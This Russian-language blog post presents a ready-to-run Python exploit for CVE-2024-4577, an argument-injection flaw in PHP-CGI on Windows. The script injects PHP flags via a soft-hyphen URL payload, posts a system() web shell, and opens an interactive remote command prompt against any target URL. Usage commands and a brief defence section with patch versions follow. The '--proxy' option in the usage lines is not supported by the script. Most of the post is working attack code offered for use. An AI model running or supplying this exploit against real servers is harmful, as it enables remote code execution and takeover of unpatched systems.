Эксплойт для CVE-2024-4577 — критическая RCE-уязвимость в PHP-CGI
Mikhail Tarasov·1 Oct 2025
Она позволяет выполнять произвольный код через манипуляцию с аргументами командной строки. Эта дыра работает на Windows-системах с Apache/IIS и связана с некорректной обработкой символов в Best-Fit кодировках.
Суть уязвимости
PHP-CGI неправильно обрабатывает специальные символы (мягкий дефис `0xAD` и японская тильда `0xAA`) в кодировках Windows. Эти символы превращаются в ASCII-дефис `-`, что позволяет инжектить флаги командной строки PHP.
Рабочий эксплойт
#!/usr/bin/env python3
import requests
import sys
def exploit_php_cgi(target_url):
"""
Эксплойт для CVE-2024-4577 (PHP-CGI RCE)
"""
# Полезная нагрузка: используем мягкий дефис для инжекта флагов
payload = "/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
# Команда для выполнения (phpinfo для теста)
php_code = "<?php system($_GET['cmd']); ?>"
full_url = target_url + payload + "&cmd=whoami"
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print(f"[*] Атакуем: {target_url}")
print(f"[*] Payload: {payload}")
# Отправляем эксплойт
response = requests.post(
full_url,
data=php_code,
headers=headers,
timeout=10,
verify=False
)
if response.status_code == 200:
print("[+] Успех! Вывод команды:")
print(response.text)
return True
else:
print(f"[-] Ошибка: статус {response.status_code}")
return False
except Exception as e:
print(f"[-] Ошибка соединения: {e}")
return False
def interactive_shell(target_url):
"""
Интерактивная оболочка для выполнения команд
"""
payload = "/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
php_code = "<?php system($_GET['cmd']); ?>"
print("\n[*] Интерактивный режим. Введите 'exit' для выхода.")
while True:
cmd = input("shell> ").strip()
if cmd.lower() == 'exit':
break
if not cmd:
continue
full_url = f"{target_url}{payload}&cmd={cmd}"
try:
response = requests.post(
full_url,
data=php_code,
timeout=10,
verify=False
)
print(response.text)
except Exception as e:
print(f"[-] Ошибка: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Использование: python exploit.py <target_url>")
print("Пример: python exploit.py http://vulnerable-site.com")
sys.exit(1)
target = sys.argv[1]
if exploit_php_cgi(target):
interactive_shell(target)
Как использовать
# Базовая атака
python exploit.py http://target.com
# С прокси для отладки
python exploit.py http://target.com --proxy http://127.0.0.1:8080
Защита
• Обновить PHP до версий 8.3.8+, 8.2.20+, 8.1.29+
• Отключить PHP-CGI, использовать PHP-FPM или mod_php
• Фильтровать входящие запросы на WAF
Уязвимость патчится легко, но на старых инсталляциях встречается часто. Тестируйте только на своих системах или с разрешением!
